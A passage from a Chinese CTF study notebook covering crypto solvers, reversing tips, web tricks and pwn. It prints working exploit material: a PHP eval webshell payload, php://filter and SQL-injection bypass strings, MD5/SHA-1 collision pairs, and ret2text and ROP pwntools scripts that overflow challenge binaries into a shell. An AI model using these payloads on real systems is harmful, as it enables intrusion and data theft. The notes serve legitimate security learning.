    c = add_round_key(c, sub_keys[0])
    return c

def encrypt_ecb(m, k):
    assert len(m) % 16 == 0 and len(k) == 16
    return b''.join(encrypt(m[i:i+16], k) for i in range(0, len(m), 16))

# 已知密文
ct = b'&\xa4\xe7{\x94\x10cC\xf0\x8c\xaa<\x1e-_\xa4\x12H\x8e;\xa2W\xd4\x85\x81\xb9\xc1\xb6\xd0ovyQ\xd5B#f-\x00\xd7\x8a\xc7\xfcs"9M6'

# 使用全 0 密钥
k0 = bytes(16)

# 计算全 0 明文加密结果（即 encrypt(0, k0)）
encrypt_0 = encrypt(bytes(16), k0)

# 最后一个明文块（全 0x10）
m_n = bytes([0x10] * 16)
# 加密 m_n 得到 encrypt(m_n, k0)
encrypt_m_n = encrypt(m_n, k0)
# 计算 L(m_n) = encrypt(m_n, k0) XOR encrypt_0
L_mn = xor(encrypt_m_n, encrypt_0)

# 分割密文块
ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]
ct_n = ct_blocks[-1]  # 最后一个密文块

# 计算常数 C(k) = ct_n XOR L_mn
C_k = xor(ct_n, L_mn)

# 对每个密文块解密
plain_blocks = []
for ct_i in ct_blocks:
    tmp = xor(xor(ct_i, C_k), encrypt_0)
    m_i = decrypt(tmp, k0)
    plain_blocks.append(m_i)

# 合并明文块
plain = b''.join(plain_blocks)
print(plain)

拓展:所谓”线性”是什么东西?
答案:满足

$$f(x\,\mathrm{xor}\, y)=f(x)\,\mathrm{xor} \,f(y)\mathrm{xor} \,c$$

其中c是一个常数,我们称这个盒子是线性的.
这会导致所有轮密钥每轮加密可以被视作只有一个密钥加密,这个时候解密脚本呼之欲出,交给ds了…

神秘题

task1

from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import ARC4, DES, DES3, AES
from secret import flag
import random, os
assert len(flag) == 32
functions = [
    lambda data: AES.new(b'DEADBEEFcafebabe', AES.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: AES.new(b'deadc0de!@#$%^&*', AES.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: DES.new(b'deadbeef', DES.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: DES.new(b'13572468', DES.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: DES3.new(b'13572468abcdefgh1!2@3#4$', DES3.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: DES3.new(b'qazwsxedcrfvtgbyhnujmik,', DES3.MODE_ECB).encrypt(pad(data, 16)),
    lambda data: ARC4.new(b'never gonna give you up').encrypt(data + os.urandom(16)),
    lambda data: ARC4.new(b'never gonna let you down').encrypt(data + os.urandom(16))
]
ct = pad(flag, 16)
for _ in range(5000):
    for function in random.sample(functions, 3):
        ct = function(ct)
print(f"ct = bytes.fromhex('{ct.hex()}')")

可以看到,上述加密方式”随机”选了5000组加密方式,且每组从上述8个方式里面选3个不重的进行加密.
尝试构造解密脚本,大方向是dfs.想想怎么剪枝:
pad(s,16) 这实际上是给一个固定尾巴的函数,如果s本身就是16的倍数,就会在末尾补上16个 /x10 (16),否则pad会补齐s为16的倍数,设差为del,那么就会补齐del个del.
所以对于前六个加密,我们可以通过判断尾巴是不是16个16来判断解密是否成功.
然而对于后两个加密,无论什么长度都不会报错,且没有明显尾巴,考虑分布:
对于每次从8个选3个最后拼一起的情况,任意一段加密方式中,连续的ARC不会超过4,所以设置一个上限即可.
具体地:如果前6个解密出现了尾巴那么一定是前六个,否则再考虑用ARC4解密.
脚本如下(因为原先flag就是16倍数,所以只会补齐16个16,不用管其他状况,如果不减枝挨个算会算一上午都算不出来…):

PS: for: xx else: xx 是python的语法,意思是如果for循环内没有break就进入else语句中执行.

tail=b'\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
defunc = [
	lambda data: AES.new(b'DEADBEEFcafebabe', AES.MODE_ECB).decrypt(data),
	lambda data: AES.new(b'deadc0de!@#$%^&*', AES.MODE_ECB).decrypt(data),
	lambda data: DES.new(b'deadbeef', DES.MODE_ECB).decrypt(data),
	lambda data: DES.new(b'13572468', DES.MODE_ECB).decrypt(data),
	lambda data: DES3.new(b'13572468abcdefgh1!2@3#4$', DES3.MODE_ECB).decrypt(data),
	lambda data: DES3.new(b'qazwsxedcrfvtgbyhnujmik,', DES3.MODE_ECB).decrypt(data),
	lambda data: ARC4.new(b'never gonna give you up').decrypt(data),
	lambda data: ARC4.new(b'never gonna let you down').decrypt(data)
]
def dfs(s,num,pre):
	if num>5000*3:
		global cnt
		cnt+=1
		print('')
		print(s)
		return
	for i in defunc[:6]:
		ss=i(s)
		if ss[-16:]==tail:
			dfs(ss[:-16],num+1,4)
			break
	else:
		if pre<=0:
			return
		for i in defunc[6:]:
			ss=i(s)
			dfs(ss[:-16],num+1,pre-1)
dfs(ct,1,4)

task2

给定一个 $5^m\equiv h\mod p$ ,尝试求出m.

from secret import flag
from random import randrange
assert flag.startswith(b'Spirit{') and flag.endswith(b'}')
assert len(flag) < 64

pad = lambda m, l: m + bytes(114*bool(i) for i in range(l - len(m)))
unpad = lambda m: m[:m.index(0)] if 0 in m else m

flag = pad(flag, 143)

m = int.from_bytes(flag, 'big')

p = ...
g = 5

print('h =', pow(g, m, p))
h = ...

这是一个典型的离散对数问题,但是p特别特别大.

问了管理员才知道,能通过分解p的阶,也就是p-1,得到一堆小因子还有一个特别大的因子,然后通过这些小因子能合成出 $m\equiv y\mod \prod p_i^{x_i}$ ,其中pi可以任意选取(也就是即使一个小因子也是可以合成的,但是一个小因子提供的信息有限).脚本如下:(使用BSGS加快求解)

from math import isqrt,prod
from sympy.ntheory.modular import crt
from collections import defaultdict

def bsgs(g,h,n,p):
	m=isqrt(n)+1  # 步长
	baby_steps=defaultdict(int)
	current=1
	for j in range(m):
		baby_steps[current]=j
		current=(current*g)%p
		if(j%100000==0):
			print('A',end='')
	print('A',end=' ')
	inv_g_m=pow(g,-m,p)
	current=h
	for i in range(m+1):
		if current in baby_steps:
			j=baby_steps[current]
			x=i*m+j
			if x<n:
				return x
		current=(current*inv_g_m)%p
		if(i%100000==0):
			print('C',end='')
	print('C',end=' ')
	return None  # 如果没有找到解

def solve_dlog_small_factor(g,h,n,p):
	return bsgs(g,h,n,p)

def main(p,y,fact):
	q=max(fact)
	small_factors=[f for f in fact if f!=q]
	# 计算所有小因子的乘积N
	N=prod(small_factors)
	residues=[]  # 存储余数d_i
	moduli=[]  # 存储模数n_i
	print(f"计算m mod {N} (由{len(small_factors)}个小因子组成)")
	for i,n in enumerate(small_factors):
		print(f"处理因子 {i+1}/{len(small_factors)}: {n}")
		M=(p-1)//n
		g_n=pow(5,M,p)
		h_n=pow(y,M,p)
		d=solve_dlog_small_factor(g_n,h_n,n,p)
		if d is None:
			print(f"无法求解因子 {n} 的离散对数")
			return None
		residues.append(d)
		moduli.append(n)
		print(f"  解得 m ≡ {d} (mod {n})")
	# 使用中国剩余定理组合所有结果
	print("使用中国剩余定理组合所有同余式...")
	m_mod_N,_=crt(moduli,residues)
	return m_mod_N
# 示例使用
if __name__=='__main__':
	# 这里需要提供实际的p和y值
	p=
	g=5
	y=
	h=
	fact=[]
	result=main(p,y,fact)
	if result is not None:
		print(f"m mod N = {result}")
	else:
		print("计算失败")

然后我们审计pad函数,发现起会在末尾添加很多 b'r' ,且flag打头是 Spirit{ ,这给我们构造等差数列提供了契机,如下(后半段是手搓的):

a=0
b=0
for i in range(...,10**66,...):
	ct=long_to_bytes(m+i*prod)
	if ct.endswith(b'rrrrrrrrrrrrrrrrrrrrrrrrrr'):
		if ct.startswith(b'Spirit{'):
			print(ct)
		# print(i)
		if a==0:
			a=i
		elif b==0:
			b=i
print(a)
print(b-a)

JSFuck

使用 !+[]() 等几个字符实现全部js功能的加密方式.使用 CPH Judge 套上 console.log() 的壳直接跑.粘贴到浏览器会有很多问题,,又是禁止粘贴不明代码又是不信任啥的,怎么跑个代码这么难,死妈浏览器

Reverse

IDA(EXE ELF)

用F5查看反汇编的C代码.
Shift+F12能查看字符串界面

IDA反编译的代码大部分可以直接粘到C++去跑,有一个特例: 4*i 改成 i 是因为在反编译界面是按字节统计的,但是C++界面是正常的内存下标取址,取址公式不一样导致偏差.

IDA反编译的代码很原始,数组有可能在反汇编时拆成一堆变量,导致函数传参是数组但是表现为一个参数,发生”RE”.举例:

mov  [ebp+var_20030], 5Ah ; 'Z'			v7[0] = 'Z';
mov  [ebp+var_2002C], 4Ah ; 'J'			v7[1] = 'J';
mov  [ebp+var_20028], 53h ; 'S'			v8    = 'S';
mov  [ebp+var_20024], 45h ; 'E'	asm		v9    = 'E';
mov  [ebp+var_20020], 43h ; 'C'	->		v10   = 'C';
mov  [ebp+var_2001C], 61h ; 'a'	to		v11   = 'a';
mov  [ebp+var_20018], 4Eh ; 'N'	C++		v12   = 'N';
mov  [ebp+var_20014], 48h ; 'H'			v13   = 'H';
mov  [ebp+var_20010], 33h ; '3'			v14   = '3';
mov  [ebp+var_2000C], 6Eh ; 'n'			v15   = 'n';
mov  [ebp+var_20008], 67h ; 'g'			v16   = 'g';

Shift+F12可以查看字符串区.

IDA修改源文件

在 Edit-Patch peogram-Apply patches to ... 点原程序保存即可.

Jadx_gui(APK CLASS)

apk函数的main函数位于 xxx.com 里面的 MainXxxx .

总结

1. *11110100001010000101111# 有可能是一个迷宫类型的题目.

2. 端序:大端序:高位字节存在低地址处,低位字节存在高位地址处.(x86 arm)
   小端序:高位字节存在高位字节处.(通过网络发送数据进行传输)
   IDA的数据是大端序(比如 char* arr=0x776F646168LL )需要先转成char,即 wodah 然后再反转成 hadow 才是实际上字符串的样子.

3. 常见函数的方向
   strcat(a,b) a<-b 把b字符串加到a字符串末尾
   strcpy(a,b) a<-b
   a=join(b,c) a<-b+c 组合字符串
   fill(a+1,a+1+n,b+1) a<-b

Web

Web低手.

常用工具

dissearch路径扫描工具

常见路径

/var/www/html/xxx.php 一般放到这里意味着公网可访问

BurpSuite

1. 监听用法:开启本地代理,然后占一个端口.然后启动!,监听那个端口,然后所有经过的流量就都能被监听.(感觉原理是本地部署一个假的VPN网关)
2. 修改Cookie用法:还是先启动,然后在页面找到Cookie(Raw)然后发送给Repeater,在这里能随意修改,改好之后点击Apply就能获得反应(flag居然这么神奇就出来了)
3. 爆破id:使用内嵌浏览器,刷新页面收到一个请求,然后暴力枚举id,然后按照返回请求的长度排序,看最长的,然后找到Renderer(渲染器)得到flag.
4. 爆破密码:同上
5. 同时爆破密码和用户名:改成集束炸弹攻击
6. 记得右键改变文件头,不要自己修改,好像会加点东西进去.

   nc

   netcat指令,Windows有一个nc的实现,用法:cmd套一个nc64.exe
   然后输入你想连的IP和端口,输入之后没反应,flag呢???
   实际上你连接计算机之后,你这就是一个小的bash,你要输入指令获得flag.

   反弹shell SSH反向Shell端口映射

   你用nc连接,对方主动监听你,监听成功后对方弹一个shell给你,所以是反向shell.

首先cmd输入 ipconfig 查看自己的局域网ip地址.

几个需要注意的类型

null nan 0e18 123abc [] {} inf

在JavaScript中这些特别的占位符分别是 NaN undefined null Infinity …

md5,sha1强碰撞

md5 强碰撞

AAAAAAAA=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2

BBBBBBBB=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

SHA-1 强碰撞

AAAAAAAA=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

BBBBBBBB=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

ref1 ref2

pwntools

使用py脚本远程连接服务器(代替nc指令)

from pwn import remote
import json
conn=remote('socket.cryptohack.org',11112)
conn=remote('114.5.1.4',11112)
data_to_send = {
	"buy": "flag"
}
# 把json格式转成str格式
json_data = json.dumps(data_to_send)
conn.sendline(json_data.encode())# 发送服务器的格式是byte,所以要encode
response = conn.recvline().decode()# 接收也是byte,转str要decode,recvall()是接收所有信息,recvall会一直接收
print("Server response:", response)
conn.close() # 关闭连接
# 此外conn还有一个recvuntil(str)判定指定字符串的,可以过滤废话



from pwn import *    # 导入 Pwntools 库
context(log_level='debug')    # 显示详细信息
io = remote(host, port)    # 与远程连接，host 与 port 分别填远程的地址与端口号

io.send(b'aaaa')    # 发送字节数据
io.sendline(b'aaaa')    # 发送的数据末尾带上回车（b'aaaa\n'）
io.sendafter(b'> ', b'aaaa')    # 接收到 b'> ' 之后再发送 b'aaaa'
io.sendlineafter(b'> ', b'aaaa')    # 接收到 b'> ' 之后再发送 b'aaaa\n'

io.recv(5)    # 接收 5 字节
io.recvline()    # 接收一行（接收到回车 b'\n' 为止）
io.recvuntil(b'abcd')    # 接收到 b'abcd' 为止

io.interactive()    # 在终端与远程交互

s=p32(num)# 将int以小端序表示为bytes
num=u32(s)# 将bytes以小端序解码为int

json交互

def json_recv():
    line = r.recvline()
    return json.loads(line.decode())
def json_send(hsh):
    request = json.dumps(hsh).encode()
    r.sendline(request)

HackBar

能够自定义好多协议的啥啥东西(http头字段),在这里写一点这么多多多选项都是啥.

• User-Agent 使用什么浏览器
• DNT 希不希望被跟踪(1是不希望)
• X-forwarded for 你上网的原始IP
• Via 好像是服务器代理的url
• Referer 该请求的来源

然而Flu的hackbar总是莫名其妙卡死

PHP

php笑传之 Capture Capture Bug ,下文是代码简析.

showsource(_FILE) :让背后php代码变得五颜六色,同时展示在前端.
include(“a.php”) :插入脚本.
/index.php :一个首页面.
/index.phps :后缀为phps的是存放php源代码的,但不是所有网站都有.

1. url编码:cyberchef的url编码有一个小锅,不会把字母数字也使用url编码,所以要使用burpsuite的编码器进行url编码.同时,浏览器键入的url会进行一层解码,所以记得再加一层
2. 数字和字符串弱类型比较,如果字符串一定要比数字大可以构造一个比数字大的字符串,然后末尾添一个 a 表明这是个字符串绕过比较.
3. array_search搜字符串绕过:字符串与数字比较会转成0,然后0==0直接绕过返回true,需要搜索的字符串不一定要存在了.
4. php get传参 /?a=112&b[]=abc&c={"m":a,"n"=[[],0]} 上面表示了几种不同方式的参数传递.
5. 伪协议… php://xxx 和 data://xxx 等多刷几个题再更
6. file协议:能把源文件变成base64格式再展示,省的有些flag被当成代码被处理掉了… /?file=php://filter/convert.base64-encode/resource=flag.php

php审计

当你就剩一步的时候…

<?php
highlight_file(__FILE__);
if (isset($_POST['flag'])) {
    @eval($_POST['flag']);
}

如何构造?答:

flag=die(file_get_contents('/flag'));

backup

常见备份文件后缀名:

.bak
.git
.svn
.swp
.bkf
.bash_history
.~

优先级

windows或Linux下:

command1 && command2 先执行command1,如果为真,再执行command2
command1 || command2 先执行command1,如果为假,再执行command2

command1 | command2 只执行 command2
command1 & command2 先执行 command2 后执行 command1

Linux大杂烩

学Web不可避免的温习Linux.

1. ls / 意思是 ls ~/ .
2. /home 是用户主工作目录.

   Sql注入

   首先确认是使用什么闭合的,比如 ' 或者 " (方法:输入带 ' 或 " 的账号看报错).

然后使用万能密码:
账户: a' or true # 由于#会当成特殊字符,要使用url编码 a' or true %23
密码: a' or true # 由于#会当成特殊字符,要使用url编码 a' or true %23

PWN

大佬博客

PRE

常见问题Q&A(其实只是Flu自己比较好奇):

1. 这个CTF网站是拿什么做的?有没有模板?

   A:有的.当前Spirit队用的好像是是ctfd,其他也有做的好的,比如ret2shell(平台会自动生成一个flag,并且挂载在/flag下)

2. 可不可以做到每个人拿到的源文件的zip都不一样?

   A:可以的,这个叫动态附件

3. 那些需要容器的题是怎么回事?

   A:Docker.

4. PWN题假如程序被干崩了会发生什么?

   A:有socat,每次访问都会开一个新的程序.

5. 那么,程序的基址是固定的情况下,为什么并发访问这多个程序不会出错?

   A:虚拟地址…(寻址可以达到2^64就是因为上述理论均建立在虚拟内存的条件下)在这个时候程序的地址(虚拟地址)=基址+偏移,多个程序会直接换页表

查壳

和Reverse一样,要先查壳…

checksec --file=文件地址

在windows下安装了pwntools之后自带checksec(能检查elf的),大可不必用虚拟机或wsl.

pwn checksec xxxx

ret2text

task1

我们小学二年级就知道，使用栈的结构来保存函数的嵌套调用关系是很方便的。

简单来说，栈就是一个可读写的数据段，程序可以通过push或pop指令压栈或弹栈，也即在栈上保存一个值或者弹出一个值到寄存器/内存单元。栈的增长方向是朝向低地址的，也就是说压栈的时候栈指针（如 x86-64 架构中的rsp）总是减小。

现在有一个过程f1，f1所有的非静态局部变量都可以放在栈上的一个指定区域内，简单地来说，这个区域被称作f1的栈帧。为了方便起见，我们需要用一个寄存器记录下当前栈帧最底部的地址（栈帧的基址），然后用一个固定的偏移去访问f1的非静态局部变量。

f1内嵌套调用f2时，我们将f1的栈帧基址与下一条指令的地址保存在f2栈帧的底部。

^ Low (Towards which
|      stack grows)
| 
|  +------------+
|  |  f2_frame  |
|  |   f1_bp    | <- f2_bp
|  | f1_retaddr |
|  +------------+
|  |  f1_frame  |
|  |   ??_bp    | <- f1_bp
|  | ??_retaddr |
|  +------------+
| 
v High

返回时，先从f2_bp处保存的f1_bp恢复f1的栈帧基址，再根据f1_retaddr的值返回到f1中调用f2时的下一条指令处。这样我们就从f2成功返回到了f1。

以我们熟知的 x86-64 架构为例，一般来说，通过call操作从f1进入f2时，处理器先将f1中下一条指令的地址压栈，进入到f2，然后f2在入口（prologue）处布置好自己的栈帧，

endbr64    ; 在处理器未开启CET时相当于空操作
push rbp    ; 保存 f1 的栈帧
mov rbp, rsp    ; 设置 f2 栈帧的基址
sub rsp, xx    ; 在栈中“开辟”一段大小为 xx 的
                 空间，用来管理非静态局部变量
; …

然后在出口（epilogue）处清理自己的栈帧并返回到f1，

; …
mov rsp, rbp    ; 经常与下面一条合并为 leave
pop rbp    ; 返回到 f1 的栈帧
ret xxx    ; 返回到 rsp 指向的地址，也即
             f1 中 call 的下一条指令处，
             被调用者清栈时会指定xxx的值

如果没有需要用到栈的局部变量，那sub rsp, xx、leave都会省略。

在本题中有一个大小为100字节的buf变量，由于 x86-64 ABI 希望在执行call之前、布置栈帧之后的rsp是16字节对齐的，我们需要“开辟”一个112字节（100向上对齐到16的倍数）大小的栈空间用来存放buf，然后main函数便可以通过rbp-112来访问buf了。

众所周知，scanf(“%s”, buf);读到回车符（\n）才会停止读取输入，但并不会限制读入字符的数量，因此你可以从rbp-112一直连续写入到后面很远的地方。根据上文所述，你完全可以控制main返回时跳转到的地址。

backdoor过程中有一个system(“/bin/sh”);，意思是给你一个shell，这样你就可以通过shell命令控制操作系统干很多事情了，包括但不限于读写文件系统，而Flag正是保存在文件系统中的。

你可以采取如下的策略：

注：本题未开启canary与PIE，前者会阻止你简单地篡改旧栈帧基址与返回地址，而后者会随机化backdoor乃至整个程序的地址，你很难在不知道随机化后程序代码段基址的情况下控制程序跳转到相应的地址。
基址随机化是ASLR导致的

注：记得在调用system前保证rsp是16字节对齐的，system过程涉及一条指令movaps xmmword ptr [rsp], xmm1，此时的rsp若不是16字节对齐的便会触发段错误导致程序崩溃，这也是 x86-64 ABI 要求rsp对齐的原因之一（简化对齐的判定）。直接劫持返回地址到backdoor后的rsp一定不是对齐的（缺少call指令的一次压栈），你可以先跳到一个ret指令上让处理器多弹一次栈，然后再跳到backdoor（自己想想怎么布置栈上的内容），也可以直接跳转到backdoor开头的第一个push/pop指令后，因为64位下每次压栈/弹栈操作都会让rsp减少/增加8。

注意2:你要关注的是rbp的地址,体现在程序中是这里:

__int64 __fastcall main(int a1, char **a2, char **a3){
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  _BYTE v5[64]; // [rsp+40h] [rbp-40h] BYREF
/*                            ^^^^^^^               */
  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", system_);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

这也就是为什么你要构造0x40的payload.

这个题的答案…

首先构造112个字节填满缓存区.
然后随便构造8个字节填满bp(已经不需要回去了,bp也没用了)
然后找到基址:0x400000
backdoor地址:0x004011db(已经加上基址)
retn的地址:0x004011Da
答案:

payload = padding + p64(ret_addr) + p64(backdoor_addr)
p.sendline(payload)
p.interactive()

更广泛地…

据说这个题有两个做法,第一是覆盖满整个frame之后额外+8覆盖bp然后随便找一个ret取地址,然后加上后门地址,设frame大小为n,payload长这样:

pay=b'A'*(n+8)+p64(ret_addr)+p64(backdoor_addr)

还有个更省事的办法,直接把后门函数正常进入的那个压栈函数略过,在+8盖住bp之后用后门函数地址覆盖ret地址,直接执行后面的内容,也可以做到:

pay=b'A'*(n+8)+p64(backdoor_addr)

task2

int func(){
  _BYTE v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]
/*                        ^^^^^^                  */
  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

这个题中我们需要构造v1去覆盖v2,还是往rbp的方向去覆盖即可(44+payload).

task3

int vuln()
{
  const char *src; // eax
  int v2; // [esp+4h] [ebp-54h]
  int v3; // [esp+4h] [ebp-54h]
  int v4; // [esp+8h] [ebp-50h]
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  _BYTE v6[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  _BYTE v7[7]; // [esp+40h] [ebp-18h] BYREF
  char v8; // [esp+47h] [ebp-11h] BYREF
  _BYTE v9[7]; // [esp+48h] [ebp-10h] BYREF
  _BYTE v10[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v8);
  std::string::string(v7, "you", &v8);
  std::allocator<char>::allocator(v10);
  std::string::string(v9, "I", v10);
  replace((std::string *)v6, (std::string *)&input, (std::string *)v9);
  std::string::operator=(&input, v6, v4);
  std::string::~string(v6);
  std::string::~string(v9);
  std::allocator<char>::~allocator(v10, v2);
  std::string::~string(v7);
  std::allocator<char>::~allocator(&v8, v3);
  src = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, src);
  return printf("So, %s\n", s);
}

fgets要安全一点,因为他只要前32个输入,这会造成麻烦.别跑,后面这一长串还有东西的:
审计代码发现后面的字符串把I换成you,最后的地址还是s,所以可以栈溢出攻击. pay=b'I'*(20)+b'A'*(4)+p64(tar)

task4

void __cdecl get_flag(int n814536271, int n425138641){
  int v2; // esi
  unsigned __int8 n255_2; // al
  int n255; // ecx
  unsigned __int8 n255_1; // al
  if ( n814536271 == 814536271 && n425138641 == 425138641 ){
    v2 = fopen("flag.txt", "rt");
    n255_2 = getc(v2);
    if ( n255_2 != 255 ){
      n255 = (char)n255_2;
      do{
        putchar(n255);
        n255_1 = getc(v2);
        n255 = (char)n255_1;
      }
      while ( n255_1 != 255 );
    }
    fclose(v2);
  }
}
int __cdecl main(int argc, const char **argv, const char **envp){
  char v4[56]; // [esp+4h] [ebp-38h] BYREF
  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}

这个程序要求正常跳到get_flag函数,但是其函数要求整个程序正常返回,同时还有两个额外参数要传.
这个时候应该是 pay=fill+p32(get_flag)+p32(exit)+p32(参数1)+p32(参数2)
也就是说,参数传递在后面,依次传递.

ROP链

栈溢出,传递参数,获取sh,一条龙.

task1

我们在 Pwn > 1 - 胎息 > ret2text 中已经知道函数栈帧的结构，也知道如何通过篡改返回地址来劫持程序的执行流。
由于一些例程在刚被调用时会对一些通用寄存器进行压栈，最后在将要返回时逆序弹出这些寄存器的保存值，以使调用前后这些寄存器的值仍然保持一致，比如

endbr64
push r15
push rdi
; ...
pop rdi
pop r15
ret

因此这些例程的结尾存在形如pop - ret的指令序列。
假设某时刻程序将要执行ret以返回，栈顶保存的地址指向这样的一串指令：

pop rdi
ret
; ...

那么不难发现，执行完这两条指令后，我们的rdi寄存器的内容变成了rsp+8保存的八字节数据，然后程序通过ret跳转到rsp+16保存的地址。如Pwn > 1 - 胎息 > fmtstr中介绍的那样，默认的调用约定下，rdi保存的恰好是例程的第一个参数。我们从栈顶开始往下写入这样的数据： p64(pop_rdi_ret) + p64(param_1) + p64(func)

其中pop_rdi_ret是指向pop rdi ; ret指令的地址，那么我们就可以劫持程序执行func(param_1);。这种攻击方法被广泛使用，称作面向返回的编程（Return-Oriented Programming，ROP），像上面那样往栈上写入的数据称为ROP链，而像pop rdi ; ret这样的指令序列被称作gadget（小片段）。
你可以通过ROPgadget查找一个ELF程序中可执行的gadget。如下命令用于查找./pwn中只含有pop与ret的可执行gadget。更多用法查看ROPgadget —help。

ROPgadget --only "pop|ret" --binary ./pwn

你可以通过GDB+Pwndbg来调试ELF程序。安装方法与使用方法从略。
你可以通过Pwntools内置的gdb.attach方法附加到一个由Pwntools的process启动的进程上并启动GDB调试会话。为了观察Payload将要生效时进程的详细状态，你需要在Payload被发送前就附加到这个进程上并暂停攻击脚本的执行，比如

from pwn import *
context(arch="amd64", os="linux")
io = process('./pwn')
payload =    # ...

gdb.attach(io)
pause()
io.send(payload)

io.interactive()

现在看这个题的代码:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define STDIN_FILENO 0
#define STDOUT_FILENO 1
void init() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}
void gadget() {
	asm volatile (
		"pop rdi\n"
		"ret\n"
	);
}
char binsh[] = "/bin/sh";
void backdoor() {
	system("echo \"Hi~ I'm Lillian Weinberg!\"");
}
int main() {
	char buf[256];
	init();
	read(STDIN_FILENO, buf, 1024);
    return 0;
}

答案:

from pwn import *
io=remote('202.198.27.90',40163)
pop_rdi = 0x4011e3			# 指定命令 pop rdi ret
binsh_addr = 0x404040		# /bin/sh字符串的地址
system_addr = 0x401060		# sh后门的地址
ret_addr = 0x401201 		# 随便一个ret的地址

payload = b'A' * 256
payload += b'B' * 8
payload += p64(ret_addr)	# 栈对齐
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()

Canary 金丝雀

众所周知，当我们读入的字节数超过了缓冲区的大小时，多出来的部分会覆盖缓冲区尾巴后面的变量。为了缓解这个问题，人们引入了Canary的保护机制，以下引用CTF-Wiki的原文:

Canary 的意思是金丝雀，来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀。如果井下的气体有毒，金丝雀由于对毒性敏感就会停止鸣叫甚至死亡，从而使工人们得到预警。

Canary的保护机制会在编译程序时自动在可能发生溢出的栈帧底部插入一个值（x86-64下是8字节），函数返回之时检测这个值是否发生了改变，以此来判断缓冲区溢出是否发生。

^ Low (Towards which
|      stack grows)
| 
|  +------------+
|  |   buffer   |
|  |   canary   |
|  |   old_bp   | <- bp
|  |   retaddr  |
|  +------------+
| 
v High

如果缓冲区buffer的尾巴和canary是紧挨着的，并且可以用puts等函数读取缓冲区，那么canary有可能会被连带着一起读出来。因此canary的最低字节被固定为0。
checksec的结果中显示Canary found说明程序中存在Canary保护。
程序源码:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define STDIN_FILENO 0
#define STDOUT_FILENO 1
void init() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}
void backdoor() {
	system("/bin/sh");
}
int main() {
	char buf[256];
	init();
	printf("Your name: ");
	read(STDIN_FILENO, buf, 0x1000);
